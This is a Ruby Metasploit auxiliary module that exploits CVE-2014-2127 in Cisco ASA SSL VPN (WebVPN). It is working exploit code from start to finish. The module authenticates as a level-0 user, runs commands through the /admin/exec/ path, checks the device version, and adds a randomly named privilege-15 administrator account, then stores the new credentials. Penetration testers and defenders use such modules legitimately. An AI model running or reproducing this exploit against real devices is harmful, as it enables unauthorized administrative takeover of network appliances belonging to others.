##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco ASA SSL VPN Privilege Escalation Vulnerability',
        'Description' => %q{
          This module exploits a privilege escalation vulnerability for Cisco
          ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to
          level 15.
        },
        'Author' => [
          'jclaudius <jclaudius[at]trustwave.com>',
          'lguay <laura.r.guay[at]gmail.com>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2014-2127'],
          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa'],
          ['URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18908']
        ],
        'DisclosureDate' => '2014-04-09',
        'DefaultOptions' => { 'SSL' => true },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('USERNAME', [true, "A specific username to authenticate as", 'clientless']),
        OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'clientless']),
        OptString.new('GROUP', [true, "A specific VPN group to use", 'clientless']),
        OptInt.new('RETRIES', [true, 'The number of exploit attempts to make', 10])
      ], self.class
    )
  end

  def validate_cisco_ssl_vpn
    begin
      res = send_request_cgi(
        'uri' => '/',
        'method' => 'GET'
      )

      vprint_good("Server is responsive")
    rescue ::Rex::ConnectionError, ::Errno::EPIPE
      return false
    end

    res = send_request_cgi(
      'uri' => '/+CSCOE+/logon.html',
      'method' => 'GET'
    )

    if res &&
       res.code == 302

      res = send_request_cgi(
        'uri' => '/+CSCOE+/logon.html',
        'method' => 'GET',
        'vars_get' => { 'fcadbadd' => "1" }
      )
    end

    if res &&
       res.code == 200 &&
       res.body.include?('webvpnlogin')
      return true
    else
      return false
    end
  end

  def do_logout(cookie)
    res = send_request_cgi(
      'uri' => '/+webvpn+/webvpn_logout.html',
      'method' => 'GET',
      'cookie' => cookie
    )

    if res &&
       res.code == 200
      vprint_good("Logged out")
    end
  end

  def run_command(cmd, cookie)
    reformatted_cmd = cmd.gsub(/ /, "+")

    res = send_request_cgi(
      'uri' => "/admin/exec/#{reformatted_cmd}",
      'method' => 'GET',
      'cookie' => cookie
    )

    res
  end

  def do_show_version(cookie, tries = 3)
    # Make up to three attempts because server can be a little flaky
    tries.times do |i|
      command = "show version"
      resp = run_command(command, cookie)

      if resp &&
         resp.body.include?('Cisco Adaptive Security Appliance Software Version')
        return resp.body
      else
        vprint_error("Unable to run '#{command}'")
        vprint_good("Retrying #{i} '#{command}'") unless i == 2
      end
    end

    return nil
  end

  def add_user(cookie, tries = 3)
    username = Rex::Text.rand_text_alpha_lower(8)
    password = Rex::Text.rand_text_alphanumeric(20)

    tries.times do |i|
      vprint_good("Attempting to add User: #{username}, Pass: #{password}")
      command = "username #{username} password #{password} privilege 15"
      resp = run_command(command, cookie)

      if resp &&
         !resp.body.include?('Command authorization failed') &&
         !resp.body.include?('Command failed')
        vprint_good("Privilege Escalation Appeared Successful")
        return [username, password]
      else
        vprint_error("Unable to run '#{command}'")
        vprint_good("Retrying #{i} '#{command}'") unless i == tries - 1
      end
    end

    return nil
  end

  def do_login(user, pass, group)
    begin
      cookie = "webvpn=; " +
               "webvpnc=; " +
               "webvpn_portal=; " +
               "webvpnSharePoint=; " +
               "webvpnlogin=1; " +
               "webvpnLang=en;"

      post_params = {
        'tgroup' => '',
        'next' => '',
        'tgcookieset' => '',
        'username' => user,
        'password' => pass,
        'Login' => 'Logon'
      }

      post_params['group_list'] = group unless group.empty?

      resp = send_request_cgi(
        'uri' => '/+webvpn+/index.html',
        'method' => 'POST',
        'ctype' => 'application/x-www-form-urlencoded',
        'cookie' => cookie,
        'vars_post' => post_params
      )

      if resp &&
         resp.code == 200 &&
         resp.body.include?('SSL VPN Service') &&
         resp.body.include?('webvpn_logout')

        vprint_good("Logged in with User: #{datastore['USERNAME']}, Pass: #{datastore['PASSWORD']} and Group: #{datastore['GROUP']}")
        return resp.get_cookies
      else
        return false
      end
    rescue ::Rex::ConnectionError, ::Errno::EPIPE
      return false
    end
  end

  def run_host(ip)
    # Validate we're dealing with Cisco SSL VPN
    unless validate_cisco_ssl_vpn
      vprint_error("Does not appear to be Cisco SSL VPN")
      return
    end

    # This is crude, but I've found this to be somewhat
    # interimittent based on session, so we'll just retry
    # 'X' times.
    datastore['RETRIES'].times do |i|
      vprint_good("Exploit Attempt ##{i}")

      # Authenticate to SSL VPN and get session cookie
      cookie = do_login(
        datastore['USERNAME'],
        datastore['PASSWORD'],
        datastore['GROUP']
      )

      # See if our authentication attempt failed
      unless cookie
        vprint_error("Failed to login to Cisco SSL VPN")
        next
      end

      # Grab version
      version = do_show_version(cookie)

      if version &&
         version_match = version.match(/Cisco Adaptive Security Appliance Software Version ([\d+\.\(\)]+)/)
        print_good("Show version succeeded. Version is Cisco ASA #{version_match[1]}")
      else
        do_logout(cookie)
        vprint_error("Show version failed")
        next
      end

      # Attempt to add an admin user
      creds = add_user(cookie)
      do_logout(cookie)

      if creds
        print_good("Successfully added level 15 account #{creds.join(", ")}")
        user, pass = creds
        report_escalated_creds(user, pass)
      else
        vprint_error("Failed to created user account on Cisco SSL VPN")
      end
    end
  end

  def report_escalated_creds(username, password)
    status = Metasploit::Model::Login::Status::SUCCESSFUL

    service_data = {
      address: rhost,
      port: rport,
      service_name: 'https',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: self.fullname,
      private_type: :password,
      private_data: password,
      username: username
    }

    credential_data.merge!(service_data)
    credential_core = create_credential(credential_data)
    login_data = {
      core: credential_core,
      access_level: 'Level 15',
      status: status,
      last_attempted_at: DateTime.now
    }
    login_data.merge!(service_data)
    create_credential_login(login_data)
  end
end
